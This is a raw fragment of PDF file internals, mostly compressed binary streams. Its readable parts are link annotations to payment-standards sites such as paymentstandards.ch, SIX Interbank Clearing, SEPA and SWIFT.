ѼvfhSe']:aDS_;MU,!6AtԱjBVe,<7N΃Լ[?cڥDx:6O<(6ifn͂[~,Mm+<58l)(ŝyQҟ(+ 5 gU։p擄'>j粭L w3S.ꏯYc7i9?Hro45EJ `,goUsxz,xM/;ׄ2"-$>pty1mqRQCeQ5JKJ<4(k<]yf6G4qZbGڏvng~i3ەze+pe6(\]8s"P6r}pVe,<7N=udbQvnAxGH֚#l{<m":$ͺmapf8l)(nfQːaB9lv\hK 7*apr4Iy܃3ZX.vO^Ģ;UtADw賮Xk `,*cq}{*{[Y֠n'Qw/Eb>MB@Ve,<7"gaoÖ螗ݓ"n@t&_ {2ݳaKAtIKXx{ `P/U ύYⰥ e$H,IުƅGoWⰥPLe$HPRf jXxn\xv-[ +d^vO^%evIުƅGoWⰥPLe$HPRf $,f^Se,*b2/'Qw/E2;n$iY&|£ zfcf$HР6rScDe ;FwF'Yyч8l)זlDml `ffOTFctg̞-e쁉̶Kݘ և0rN) M1ٳFѽdflDEtc6f>>xt&fQ^;l4sXꏯΝEs爱 13nX7oq[ܘ;wl;Fww/%X_9w^V^3 , U;_;Fw`==ck*܋Ǿ=7 v趯3{ #'1`o[mgWEwsz⫖@ 9[!`c<`   0!nAtȥKVթSȿqɓ'k,={,u +`rn}xkܽsg~1c_fahV-R6,gϟ?oĉÜ}ݕ:KݖR%~n{KfZ\{Ț1fgzX6|M)$3VO^a"wsIcӒD&y9b-[ʕ+D#G`}U6C1/ˁPŒE7`l@t[߼yS~9sf'Ν&,JtK[J띤R`>k0 DZؿٿ~n N]5`oϟZGcT$kfs6O+սV] +% +Ϋk5}<>Mۢ{RzDrwIŨ逨g̀{n6 GvKGW\ }N{J ?-= YH'kBtчDwһP%iB;9}x0yGiq$"a`RbrѽzCu]q'v'SSjDwlOqӘ@6QOI ma Et 8k.PY&|9Wƃ!U={)1^T.fSv?<뻭oçwq¤.q WH|.Jѭoo Iը޾Hո|z|k4ԒF͇57aarj~gLDJ*6$ky[TY|lvz,Dt^ +@L+UgDD˼CQp";ռjL{WG>6 +SضY y ʸLΣo=H&IKq)/A:*w'g6 0ZRqTګGh{FQ2mn6":NuOgʣ\W̞/,tcm,At/Pt/zw|*alX=ռf?<л0Ktk8=sxmEwgn.>6u4,/t'NnIѭ}[Q) RѷV}(;Z6RznP3ܮ)lq ^^B)]b ;{QջV>g90VwUEm;i[)Gt; o_}/w~K<ϟJcbզO"ks,CDwi$u%驤[HtgSI%jRW~.? o0Wѳ1 V"n=3k{(*뺫ol^˄=d*ݷz?/dFV¯NnK;EVR*swvʃԲ aA{/?K_1mT?MO44neǯ,]Ŵ6]yWk]PQmbAF]Lwj|45=mC-좻W)cr-li>>G~QHvZs_e}^=EIJt޿Ʒm6mfGՑΏ;pT>Z(\n;<"y~e;)jB,@Юʰ&և{ݠ¤fyzk>T}j N!)標Mߨ*y˅eEw羪&I$"_R+X)<-x/=0g. uZs_e}^=EIDtޟ{'rkaByfCGmW?_|KT{[OpnM]m\Phw%Y/0N3Owշ޾OKߒoNSX|Do$uFەi+`͜ ض'[iJ[2[{rdEwsܯbmc+${@ۅ+3Ftջ։e9ޚwNs[箨SfzG~(t}L迵JG߄HB|Mqڍـ+ k/Ӧݟ|51 ɶE[qk}ԓzݶPLUΓR:Wt.%CZ +D&#i d..v/ {b܂p~ܘ < Ms}iS0c :%|Wa ЦBT@a:[\Su5}Tc׼̶[eݷzȅO۾ >0f+P^.hpVjTn'%Rz=KLn;L+E>r't2V +p'i)h)ʷH΅X0ݾYOUSG+][U42Sv)mzo=&}f&!.Z/F ꋾo委_ݹJs y )JSW(0J*1{L"VP`s7? k:9'sw?5=;5-9TEkID۠\Ot[V^D/!o2,+@F43#+\f]7\y׼{X)W<<궯'2ѩU D_WPr>-A5 FfV:AEnjWxp [~kFSFJ XO^fN7dDt޽b{Zlze֛ugy2 7_9xҲO]TݾY \n>6"Rh}'#tHГ +&e#o{`$\K/(uۅNq$ʗ7S]lmK/ >DFl# c{p I":#vO'Jq@eTZ϶]-3@,snMp[ 23 #;9L>έx*IF=p^tyۥx d8V$+-26̲'7jhnX..x}gE |"؊_Ko=뒍Q)hrWy|GǴ2e?&Q1A4DžqB=8ʄmӜjjݶO(a{="O^fc @IDN?Zo?gW"m+~{5"T^'Y@JYt)hM*f 5AT&orB 4hsU! 1Q@IDNNhm:90^\ ϕjX^O WKA۞p忎zRϹ,x=,fy3!EOwz|Pz[&:9mtr3|_r>_diM E1U +ƘRP)}//z>Lt YLH\^>SFTF;{YI/=@,ᡓg=ԫ /pghyEwR0访;"'tBWAU5Ft YLHƒ g^ݷL(RP)%|g3YVj. chrSj=KlیDMB:E&F)P'}~KrΆ@,ջ mooޝU©u-5lFt X^~`3`^)l)͑2ԃBkS;wkNkFA49E! At&,uyǒ4S69$$4PJ_g͸L"G.|:39۽&j:9*}>}uD1G7越=?jf,й bvM)XSVL><<>d[c#Stkܱqυ7Yp>=waA.JJt7˫޳2Y}polOHStk ܱ1 ^^{|òX, EҪLNgϞ-Oifr4N˷T*2r%_sn ;aVta|KY,9qAo2 +ۘ-2D}SOcQ:WvfRm ,Dws`{Pt7 ޳2TDbP듥]iGgE=s=ʟԹ.NS)BܕvK"JIp#`ۘ=·̻v $nCVGUؓyԙ C{ +E'X`7߷ȂxHbևZc "wl/ӊEUYJ0zb̟k*Ĭ3Qvh\B2Dְ@D50\2; CڮDƢa$JB O]%Aa(-mnnz۫sg!ٹRL+%Uޯ %^4)uݩd$ OiPHџN0Br2| Ew49omsЛziSm9ѰCȊaicMg5B2{P +fgr,z_0aΜ"6 +@-ХgI{'U!mqni6^>oM.,E;]T SѝF#Y=,{I}_OVYYl~i)#l+$~HDn5|:Dw}u=ݫܚm(#ihV`gi݅#E8m³,K gEwl_MtѨ;K^~WNatFv`ՠJpHV0,P/Fc(Ο?߹\ahID Dnp)k혂ܶN=7%LwsmbQK[P:?ȣ~=qRlfQ8Sddcn'臥`< *Wxcf4E D7a [M͞Gv˜/ҟY)gtD=ZdDFt1nX&nj+Vh{LM"qiO6    [7ѪG.&SO->sGv +D7(E5f 0!svԈjYѭ-Ti + TYC* SPYيY@\^Eia%K;wNi.Y]@'S%wg瘙} vEF/*]Ư&3cnHc'_ H׉#—y; "Mt97\(QPʀfC &RIVˊnɢ*&ܫPtē(D% bxqV>i^ADx7s셧Q@M@ 7nޗ[ u+|l9侷ןDF#=:3 +m>7r;&X ݑ4:)yYtMw ͓6zJE2icҥ}TtQߴW s@M@W7n̜;c7?+zoѝ=ˉtM41A4#Dw!՝4+۞; #e\Fz|>h6=&]߱&6=9 h:#@_9{n o# +ߩj[Q=xĪBt/ь@DO 7n 0G뺛#1nApsYtKW/]"eM{pΩ@M@W Gxxm9j0ꏯ^}3J.Eg=&ѬayyMj-LI8Y^Bao6=&]߱&EȜSfC0?[(g[*~Wk`V貤Txn1Ft !ާɉ't Xoѩwm{L*cM)9>be5-=D_Cz5Ft FٴDw{ C4,+@ͥ-"=ØtU~ǚ Rƈ7s#P,莎MKgOT ,&&|(1{LMNyJ, YnkEt+f`kj89ֿҋt"6+bpWFfpcgmdncrN cR*;&%0ǦQY-6o}x;yMlb&6Mlb؜>6 Mlb&6MlbjsB^z_>g>ы^~_/\k2ߍY0U>wL&Q&N(&[`\{mb=5fy(Q&N(&[`0}*嶛^ZWF::n=dv=wz(@'X-|C՜s2tB1u@(ndtܱ_Zx(@'X-ta:8{cVesJ؝X%ot0tOLQ|_oV&5(e$NSeozFb6Ƽdyf݅ws+4X8-,e"uq(һ;+,ur}v'VxMsߟWkvxҟlJ GjF:M +n>~e߲ Gu?_&ޡhO5:5Ie?x(1 `6SL\oɌv0 a+ړuI*4%V^Jc҅rn`/-֖Y嫅^tK_D7se\[(ZΞlYˬ6VL?[إ(-kF_ +²^z3'GXsa0|ukț ]1oi:ɟ_??/ +&͑ڲn(% Z.C {K+4,KwԐXr,2evBR355ǃ Y^|2sޛ_UX͈Y(/}e P|r%Ye¦* C+nXnmp0߼ͰVZcϽPZS|#y~v4DV+͝m9Vx5LK<&~{XtvlX6TO]S3TL )jl_^^o>jIsW-zxUobf%j`(ûV3;g1|+e„W!WW w8P֝ +cԻqiP#ÇXD 7B*ߴQi`X V@8s02r5}ٝ9s=pxgw<3ĵH TIQgVqCj sT&yahE V$p8QH+JuϸQ&B%mlI>#Ͳ4xiWζiCB҇j -qp(m=O97XᩈtWJ|N>օ@l +J";ϲ]?K5򉬪T%\E1͹bl\H,; [Ҍ]$"'tÑdRZQN"tCIa<Ġ>2UHat5c8xP4}}Zht=۷-NsvQ;-w ͌ ݇NF{h#)c_Uy:[M׆GH%-{V&PҭU ]_Bg\hٰy鶗3S@LԆ[͡SNoE6##LB@^}nTMYI6-&ݑGHw >扝ef&5u"P*ak uP&'WAض6 +Z4%*bԌmpdM$1ThW'/E^ }$g?aBy +?: +N(P G[ƍYM4ji6\l~uqwny߂;t;U(-7T'*JT+(Tѫ5ѽV]Ľ5+qmP$xя@NuD宇^-ЅZ\1]7>$+<^efLl7};9sU5}E]2aܟ#+Sgoat N'&ɫn["vr BeC4yCEkt'htv,s9ls> ٸ_D 7CTmJ+7.I /,Q!Iߒlפd2._Xt'^LV]٠D '̪UEҝĿ=njPyh"Fp2% +⬺pfM5gff; 20bb&XC9L7ks!Q&q =p )5l'88oi7'};'3i]xdXm7[TdSjeB^n?Ĕa\FۍÖ3ͅS6]X*~'}ŭϒ\xy2ⷭ~^YLAf֊wѳZ2ԑr2b{ԻɧKI{،-ͅ'6DK>uF /;Z!i橧dK1HfHr>CU[m`nYo\:3}lWPʭLX*q#2aK5].(oJM/ Z^\EjМL¶|o]8ecRK^Qj227uv!5 V{;ܩF53tAU#f\}1i>Z"]t[4Lm"@)yFa$[{^]$I|ffoz$l1U#>׏eP햦n/AM77XF-od,MKDDN㠅]4l[*ܦ=Q\߸GH5B[ëH:[MWQo^asg ^' ^HmG5L @} ҍ2 +p!HI?bsZXQD۾M&Wc`p4WtۭPzc94;3OnͰ4c{IY,&( e]tGVAY禽!&8{)*vX r+vn[Ntubq><> !cg0:jy߂L1"tó=^ngoX(z. Dvd*NY&+G_~VcV" +ӥIfiRde2!1HJ"rc~a)&mQuI8J8G,ξ `)Dq"0LGIw;2tkŤtnM;[H `q<_]:uIw_+I7"ULI7qt!.ƽ-$AT yG?]:q0DMFM,ٯbeBMDXxgt %2,(&A[ >{=^y͟7}tme[-.]z`Ln,{\Z+Ca<}ɴw{DV1 ǭ- :5f@Zxo}k^|UWzHaeU6Nfa c)6Un֫g*jt.2d'u79$׏c~R'y~ҍDEGf@q [`;ږ*]Jn>t_yq6G%_jwb(}{u/yCM^O..HNeLzSP $KZ ȇ-uZ$o0DnH䯶[WWIo @p*)8֯~zf-ݶ|y &,꺛J%O]_-U 8M }ArҍRkסIPtI_Gu6UH1 bx /A]xҷ^,~W F^<"_]G q5 3ܽ=ɰh# +Ւ7Ҵ >׬i:ӵɌ!Bm`zI&_~b ſ?ρ 'Bv5f#IcB>Y)g&UZ.Iw6NJLdƠz gqNU̹"gH=A$aQ(SA0+?C[\57Iw۱<!Xl2y)em^w(ќ#vD@5*IS*A̓J,IuY.YB_D?1tlّ}gsi6 +֘ ?Ԉ[j1ry};R臶~F۲hx=ē⪞G mA_HZ +m_83];% mchCi;Am/m[Rј6IfP!kEt Zƽȍ~ڍ_ p%~|:u ntyֳZ{hF\E8H74"*ڶVp/|N1lL #OQ !/Iz0D9JSSD<9[v;ZniVM=>]ϣ7$ڱ,:nHYRHކS5@EE4e;6ϧpO\zO~J\IB˂uN1J_k6A0·m9[ +R#uWH,C {35 aM:k6 v`=CU cX?AĥNh Gt@0mhhK܇Ja6Y"mZV`¨Djz\/ ҂6X> PUF յȮcRv.cRj{߭ϰxWx׿?OG&J &SDZU4'<$44sNd!Ť(v 6N+pvXs^tĄtכ6?{nSApvBz$龈0'1X g {W˦+bXH$]R4Tyhq:`̂3hh ,:0t'TI,o̾Q>ISOZQEM< d8_$mkIk p9)OlxU}Sngՙ=>붠M^nP'? }"ҝHMn0ܛ*1Ct#}mnnҏõ&ae*v/ ǔJt>kmqFݣ^^'CEs_&yxyE +DC+_E1TNt'Ҥlxy>A*֬ڒ +EOw3띂FTgn'$#n=$d0|[ᰫ#ީOfFpDSg/~ih.ƒTb2Xg-u)|(D=ҤͫV1!mQLEɹ-k: r0ik3;+}5gzԗinMp6\4CI؍]g[\Cj?|D4~ ׄL,HnpG]@gmУ .٭4Xu_롹x˱bȽ^IѮ2Ņ{迨|s0q]M7'.V*H#i(.٧]_0xP/nalrD`wщ`-#TPg6gi +ҷ[xHfIw7<|n &)WIwQ0Eߐg&8M8*i$Ʀ;*W$s̝QaG}>[JQF5Mm.E_qhviM葶ߌW3ȧf7.l!4T[[`.^@z;xV^npnD}qŇK€lI *EAHqCPW| !\ n8JA}ʥB|{{}G$qqtAA/?]G[&  v _% .rҍ*o}eBAhϿggB¿,Avg1#_9qss9ɮA5FO囿=s ƾkkG7qK1b^!W ۟|Z[W^ ^Oxo/j"{'i^z?v]1C> +vGcLD} cKC"*q}CIuwfl<a9{% 7(ZxޮD-@)pҍr vģFU:+ 3{W+jڗu9,Q˜w8܊n&zgcч !OOgCR"ҐPE 8|y).G{D. zlr΅}X7n +%H$A% [b=^jIbZKnԌ;/'JEZîIP: kCb ?`KqiU6l Z#ͭ=%W VUQPԃU;Zq5j]q%FZ̓B9]u$[!hS^tͯn- [՟x5]ln~S_=38>_{葶 E8ҝKkUIP>Q{lД +ݿ +Hp̵oKnQS]N` & +D*=Tѳ +~Ӄ7!q_I%eTK*aK& fIBVQ߻ +AaRP3t84銡JfIw %jʀD? 6v6%kw$lpn6-VlhȖxUFM&~lhjƩ@}4B=o^5+M*ن2r9N?yx9X~ +閤*ImH +;z&찕M'Ep}XLaF=ҶuZ>Гa8es;q}tKÐaآ#ҝز Y]EV) z)yu^S–† 5nI4Z^DxwV/nΗA-cܦz KnIw+B ;vsb{#m FHw }4cV$LI]6'[z]tDΑY]0EGϴJ[(Qm[o+X+~)-ss;Apk%S#QAEtgI2[/U +p"IqKn;|ezmB߽'ҟ$Evۇ'$bGN" Js*5lcɫJ{B 4"x ݐ+-_nǻ-?N^wPőT2/vnRWNJMWJr:jt'}X!ԛoc?pk7BHQD5en_I^I76zB[}ZEΑHptgƣNϾ~/"БwؑFOn< W ΉdF^ІQ/fgIwj]Ǣf\@BY\'H IJ8ܙ15'|4D탋Iԟ$⚽{tGi[m󞆍'C!JH0|ƝlW& hXͦ_3HvMJ+Mًtg`Jl}1-䌶=(D>u Hw>ݮhhnDo7r=yEt;Jt ]=PGf 8:LfۊaG?K/[)cƅb.^ fDowš8 閿vɕ1hEtϚbDȌV)Z_@ %XΝ=Y#ݐX.,2Sm'Ǵ?aH۾4i[i:Qb}kBoGZ#x+Т~$0ii7W:ȂDNnYOn^vkC]Wua^7ʾJm羭h`v1{>vq$H/ 8Y-8/K8ɦEA Ag#$Cᑅpx÷+>nz X:h ,2#AtG!>{=ۯK  *. " {'V⻯ʿ? +t (2#AAAAaQEAKAAAu<v?`?\MMAAA%v">Iyq``uF|eG[ZM|hjwٷ8rE?tucPy-Kmdf~F(ӓnW!  Sey>b72$wcaB by"$%ۊ.!B{彇Ġ$i@)oYnQYJR!HnLWN%[[U  b-nN:Qȱ^ZgzZ/SVӖB q&GB +.BI}7=zr$)z\n m;|Bpg}W̒n{3܅JjpmR:m;Ik꒬ny;, .DhH^ +  {n0˔qI4.𯁫ACx~- V]]lm)`˥%)@L+O9>N@t+`Z#q9!2|Aۚrn=W8ĥaAfI +5@&,ɳ + +  x8"Zcjdyn[r 읠6MpaOTzɤi%-&BI `msfUzn J5ܝlMIIKq+0vYK- /֯~hQ`A" +m]d  {Xjx @9_rݓ_.%8Dט=܂t+-sõHwdkIwm#emD8 +#+\Iw9[ +SY3  >g![Gr=\E[I^J;5 +]!٠ro{%:(jW +Єa  >,|MeڤŋV-#݈ j=i$Ct5Zi{YbkJsm 8pnj|C$]MA9ՇtAA ฤ .OݶZ=VUšl."Ka#ЊtNSS ۧ+׏^qX?"hۚV\K1[]~ D>S^NAA<DYFD[Xp[JR:{- 6editW}9,g4Wn+6nsK}g\}~],V."ndkJ Jm7#ߧfo2;mh.%چl"wr!5   ;  +lObidꚄRmM-5(-v@mH7 MWkh~_ +)=K#=AAAq@hGﺽE@1AAAq=&;t]Kg              J?= +endstream +endobj +228 0 obj +<< +/BS << +/W 0 +>> +/Dest [15 0 R /XYZ 91 154 0] +/F 4 +/Rect [298.5 254.64 314.68 267.64] +/StructParent 126 +/Subtype /Link +>> +endobj +229 0 obj +<< +/Length 4187 +/Filter /FlateDecode +>> +stream +x]r7}W,V&'yp@SI4\ N\pe=Yq.u:DMy}n\vO-򾛂<wt}u=͓"8O DϮ _򾨱UelBDs9>IM} /G-Iu`tk[kyva9dJIdiN5%w]mgSE1Ca]FY^WCy`A˫TٳUYz׫/eϳ<;:>iuF69pI aɈ ZkO5]'ӊo+/.OG)6ɴ-nX#c!c'LvMxG؄zLU<x{ )p`a1vdQ3ܾ Hezd!hmF͞@bj0r|>m5΃#{Eݰ1Q-+00KDF;< ʴywk,`Q~B +ѧ7VJ;Bٹ:ZJohɕ[S/(2 ygH4"f2o/qŤ;g ح(GxGC]zpv0ST,7h@ H45b%DVDf[ +Xw5<=b?SlqᾩOg+~Y@Li{|L Z Qq7z`gk*Q 7zfB l@-Y,%4gXF0!~XL .U+͔Wf/;+| wsVUg)v 8E Sݧv)$g)iJ/~ >s}k)jhG}Q0 +" ȅq{kt=: +ہǴ>#ǁSAO!;0eoUԆo]]KEϝ`[꧜@Sor6gy,z|: N-/LDەKກ2F)mKGc+b݌v9!Ɯ=DBshgѯbJhf/g%Bu~ 4L]*C3qFO(a tlv én-e +u–BgdKhQTl,itw)Oe"ؔY {( q[2>Q|CFT0>QѺk`@`_g}^%d>+!oh-@ӣ ,35iv9+Ga^{,web +-Ui +3;s5[jK}p].CaB(7[\1R*[i7i6|Hx?}h)D):LZ> 1_x1Am"BC>:- CN#MңpE~SҲ, O1v%r +Qo-9 s  ytmg'heRA+-M*h^Oy|rMNX\I+K jK+j5L4T(Xڤ楘N~ +]S!bN #q*G<d^^rgz#yEboX˫\^"\56&A +Nkg ՠPƳ[/Ҁ*JS*`sBNfvAL~^qK{yJg;:/q&1T71cs +HsWdiSJ3k{Y~ɤ9@Ĺu lϱyYiHև˅]7mLU&tVz=F;ӰfL"*u˜+Pq<k|9Y" GMʲVwPaIŽLAJk'I0at 8~rJB|\.uҞ/JnxDj y(-I:?֭bҕpan2z/ft ܹ\vjy+Q Nl,]{t5EgL_兪Ǜh +6Eآ7© >֔Ex+eN|Z:uf<SCu1}VAwDR][`f~gzp4,LB$7hwXvP@l6(*z_k]Q+  QٟZݕЛ嫝;w;28n+LvCP$eBrzB(#]ve-/*uQ3792ʵoDbr$lzt.[DvAty;v3RkO0UX.}>A#Oz85go~lI ޼EGĊrvr) ,aH^'tx(0-;5h8t 7б +4bںq,-b\&ݎ {uv- + Ӣ_(A2ǯf¢צ@w1QѲl<4%*꧘  {?G O( hP`ѥm5# NR 3r`^&>cE\s 5{c'ߎa Tuޖ7ʥ5r> c~:M07IHh:anl9I5b:'30u {Ddq"Yӈ?O'DV@hNWSoKeYu9222i(c(~ɤ2@N\i] /[ip~} +- $hZ6a2HZ +AWm˗0gx]&ܒr7%C5_]\} 7DLZ 7ssIեb:u'eeu8aI Ԝ-U]HI"o_?_l:W*<ŨAlyc_ ( jO9d|F;jk\ʞҪ^݉AJʢ?wŷ`YUu]q5OTV*n+!ܜUuZAl"j}'0yΠ?0B /?f$I27?{kuL[e]cx3_g" *7s+8&ob9' ZTl9O%2O#7<"݌ +ڪ,1]{}E ++t PIqD-(ߧ!O_k)Y;)nYPR1ܜ8 Va8UƮ9O7I#w.6u.>t2JuNoJ!gsOA랴&tn?S +endstream +endobj +230 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [306.91 529.05 555.05 542.05] +/StructParent 128 +/Subtype /Link +>> +endobj +231 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www.paymentstandards.ch/fr/shared/communication-grid.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [82.85 510.05 213.64 529.05] +/StructParent 129 +/Subtype /Link +>> +endobj +232 0 obj +<< +/BS << +/W 0 +>> +/Dest [32 0 R /XYZ 40 577 0] +/F 4 +/Rect [505.04 365.11 522.95 378.11] +/StructParent 130 +/Subtype /Link +>> +endobj +233 0 obj +<< +/BS << +/W 0 +>> +/Dest [32 0 R /XYZ 40 577 0] +/F 4 +/Rect [172.73 346.11 278.11 365.11] +/StructParent 131 +/Subtype /Link +>> +endobj +234 0 obj +<< +/Length 6326 +/Filter /FlateDecode +>> +stream +x]Ys7~WC {, +kpwmX桎awSnM 3hE*T*֡؉1Evg! ٳz:D_|qpX^]F?]~=xwuf]ֻ|//_D>IW(Q8a'k}'g_Y]\?}ID"I]l87fn_뛧O~>F{+OZT2 ,$s!QvYғ);]d'Wd'8Y.>\ow[7q}y4 |pm7=&G@t{@@MO$.3ӳvE~:vjjdq:Qva SK1y .a䏫E՘Qei\SkjoŔeqGH⬊H_EW߽K|w86z;LhHcm=C4柧S ,0IMǭ$M/#q0~bZ"ܦ:VŅ[tNrXqטvqJ2_է0%UOō2l<;֒'g&1Kn2>YʘMXEq9*>Y7үԆ(ʙii\]TUQ.l…p^*djćyM|"Yriw-H݋QrjNO_|(SC&CAN#'I0CxÌO2{8M'D9- q+ۑ"M9]uE +?3i>rrU,lj2(lÝ!= +J?[}4+rd|tSdt'2$l*,pZLa=TDJg+z¯'B5bڭ7&V]DD-ځ"C ?C"n6"EU3P#7m.b|'M.b!yELy#R ׷OAnwz^BS;}jϠv0%6؟a&n/Y#D{,yj.|z)jvcV_ifӏ%Q4ÔURş2~fe^% {T㯣ϻl6? Szr9$Sqi ćBޫzͺzv:1q{T~7eH9S<ŘZK ҋۅBw GIIcټk)셙p{c7(MUYI "Pe6/L f72 fƂ$pZ]i._UWRkv9t ήL +E̋| +cgi)湟qy^:3#K_1}; $o0 >E4%꠷W#rr%,%PaUCXnHPo]?K!< Ya;帞 mgU']nA]5'ΝXf_SPQ 47܎I302*L->_w4lzh`2Os(Xokf,9C݃q_\eemj[њzI[O-T"Hצ/xXX:s:P=vrޝ1+L1 uh*gޚHO-̯hoUPamVZCpI=,loބUŐ?vXlm~(%'/޴oDV6q=ny0z+cX с>;jG*NfۏB>|Eyäk`13-oW&Gʹ<-W|RhQJYnv 4vDniE&))s&7)aqB0veY$ 2Ma*k\ 8C&2I2`Ewk5t <5o8m6EGᏫ{`ȸiKO9/lZElrs*aO`r[y +ܔ ID+9 +P}9KwǷ RnG"j +6av\-21b(c.< e`AY"A絋7΃ ;a +FK(,F$B5ӑWXaf;渍 d pEMl@j v+VKr2G)rOsX3 㤰TDe$N>!X) /M*gv$eG1'ϱr!ۋ݆=W\MXvH10CVHp# Z36H +}Yң7t!>M~֎PڮWnJu[7-eeCvЊOOZyƅrjo̜?۝fye4qnDdzg;w̮Wu vg~(! *WDvԞn' +o_?f^,P4=t`% dEp F>_̗Ƞp( q +ae!L_ k% +sey \/R8QHqW|Oϼ+ ;eo>ݼI4/|3sszNu7 ^Q>ުGs!:8$E +rFw|KSLr`YGd+Kk|}v+L;pB@lW f{=̖ucT(hn`U?aߣ3"HwN/;>!=}P>\15I)fKS:C-EA!SLiGm7"GIR|X&rKrL''0{[PYB*YAAj %mX %6I#s{&euPNMȉd(w(+_g'9kfuJ飳kEP +N' zezzIG-M s5y׼cJHgkGZ +.ZXeJ$MaG n3X\' 8%_s/EJ@:KanX)kgbovo}E>*pb4J);D4`4LB |wԏ&pp4p|?Yp)yp;XY z̘e|7؈)=U) gs$o\G,1GTe|-kaq̙oxI[JO(EsHӦ!/7"QvMvZȵ&fC⃔ܲhݏJZM +ѹVj P((d-zF ]Lc\5;}BѧFMEI. "~F0>9>>$&:|~O3a #Hvjv9sj ^/G):%Th9N:/c7j5N8u)N]mOڃ7dJCqkxGT.XRg|WhP2!2MeT5{H)z-QbN>̌Lg,̂문'}i%ġkyt3׼HLVv MuBә]R׼/vE}.y\TA)s.iqtzrC?8>d'.R{4!cDMWrXtI5c8Ic@m5pUn;rA tQգ{QDjӰMoNX"z45SWA\b1\;øͤ]̬zhr::QqT)GmwQ9V'jO`K ]F)B•~!-ۺMMseM\+?uH@Qa#ȪW0qŒ0-u…0 = +|!,$I+Bcua@;$+̈́ +c%+31r*`nc߫u  k`)3^J H^_F +(q(>,8|P0 N 3,٫NH2@mp?zdSYe@3,YիN #_rleR!|H>ԾMovOnBᬗտխZ23}sĽX]u,['5-}yRsTKzY,*$Uo,SQiG.0~1,7ڣ|u#v +*]_Kii/$aPh@mV<u3!P+ n jN:YߣMGdxӞT2P+_ՅlIAG"[[0B.eӍl%;K j ٺқSuCN0$;P"c4w55puijsғ~~%S**U[{ Ϭ>9uC}J2'uI),i-OZI[ +R.k4Xn 9@^ +Փe5Bv$ 5ckfIEvv;cL laFKxN`WBwP C_ C_$Mb^:}āpGI0> +:|ihQ@>:lAdׯ-8n6i\1'+c^>sW}.J4{=/ s`_`1fVWj KOj} +\X9=tzSZ1qded- ^cub>5#?#t9YN +J~J<`S]< R躯蚣p-(oĊkt"k_զDaTmj9nx'NߣE *O*r +_Amu餈sOçO#æOKv8c^߄.~>܉i^ +.kYq3heu +nd#@-5jXv?xT<-ҺU!Nˣw@ab5t!@FigԀu7eFƮI~ +X~У]4 RRT&e%I8hFIґ\'^ %U8lgJcJ; $Q4EAe3XGS](Jb&a\$rrQ\8L:d +g#*@ ]+Զmry]_XjiJJUFH`/muG}]cԧ1ӯ DSLrA +Т,5*uo9mo' *jNzs:$I8hr0XcEVv> +/BS << +/W 0 +>> +/F 4 +/Rect [205 693.64 292.42 710.64] +/StructParent 133 +/Subtype /Link +>> +endobj +236 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.six-interbank-clearing.com/de/home/standardization/iso-payments.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [205 678.14 307.34 693.14] +/StructParent 134 +/Subtype /Link +>> +endobj +237 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.sepa.ch/de/home.html) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [205 665.14 268.51 678.14] +/StructParent 135 +/Subtype /Link +>> +endobj +238 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.six-group.com/interbank-clearing) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [205 650.14 384.03 665.14] +/StructParent 136 +/Subtype /Link +>> +endobj +239 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (http://www.paymentstandards.ch/fr) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [205 632.64 331.66 649.64] +/StructParent 137 +/Subtype /Link +>> +endobj +240 0 obj +<< +/A << +/S /URI +/Type /Action +/URI (https://www2.swift.com/knowledgecentre/productcategory#Standards) +>> +/BS << +/W 0 +>> +/F 4 +/Rect [205 602.14 478.18 619.14] +/StructParent 138 +/Subtype /Link +>> +endobj +241 0 obj +<< +/Length 2070 +/Filter /FlateDecode +>> +stream +xZY6~7@_I""lmX-rK)ymy!MLS4L?gh3~,IL֣Ofkj(Q9a$CIA$jb|5$2"㻫3 JAtS.xdonYl3Y8{s52j +v58Z:BEbT)0WfU2M8{C/YS8.NuS1邕? { X;GWuΘ #r6G|ns40!on0$m +!}[/uvY?_\"n+oww-?לC1! +L0!0?59EʍU$L ҡ7@x=@IC}ۅ^JSx xoɐ!vFhN`-Ș9=1ppoɜ~";V4 JdCżg-wMB[ؤIҞ1͋qy*N#{֊E)&~Ϲt1:2Fybig5_WUq=>󴞚}1nAFn̫lEvV@#o$)l\djN +ۑ͠<>,ߍ-tko` -J1fZO2Mhb +um.cK̨݁[XZ)H$h,5c SIy〃l \ J,4mpPrzDw r{rY͊;u{*wX}G[˛\,KBf]<~:WgWxnj}RXwJfo˼O_$p ) o +Ru.uJMZ#նst{\]3UfUUS)aL<^絯<|d% ܵG8;m;$;h:I F"ݦّd3F#k}|4)Kj:`eư苰t((l Ay +P%;@en,rYG]R8D9`۬/eYqزW6Hs8lm^شc>rju|`@4*)Ǝ)%iTmJzCyةnv]|aB`7n<=G6C@>P\+[n~I]*V +endstream +endobj +242 0 obj +<< +/Length 3289 +/Filter /FlateDecode +>> +stream +xr7*I`K*Yo9[q=xs)JHЫ|~L~Ţ%bM6~wGE~9iQL_fѧ/G̎~\I/Gן a6ݞD^E_YhDB ($<hqx 4Yt~yxFTr#iBYt>7~,]7]~{{xiſD=<ެ`g5J&De,X:x,FyF<X2-3xG3wd]v Ru+%Fp"Das- EhsK<[Z3/~["ܺb +>YrF0Ƭ\jՒ`ϡw/&RQ=.'M 8-= ΆT(:gB!CPh_eH d$JБ9nS/E?EGjY˹zY.֣<{mq[ (3q^GrFnL悦H"ЎdI9Ec6c2:~1 #f 6Ҧk)$I  n&ڡpLD0037!i|ԭyNpO3x0sT@67>7ln*jcs1fQMkyaHBaA{"wՌ2>LՏg^G*]ގ~fEdXKGM@"{QO5'y*TnxIIj9}6ΒDPd̸P3Ϭc(2f` >^`FwcZ#t4{yrr:y {C\RW/`J8j~[EEķ;ri G·sPRv{yp>HItqilXD*Ni7ӤZFV|ރQ)كePst5JKp(_Ayb"7'K}$IGn#g/HmA,#u9/ЬɊZ2eXN)xj 8v.3מ?蠛7H w @%mvQ& j&\Vcj{+x-#Bkx~1Y`\z_GT8W0l&> +stream 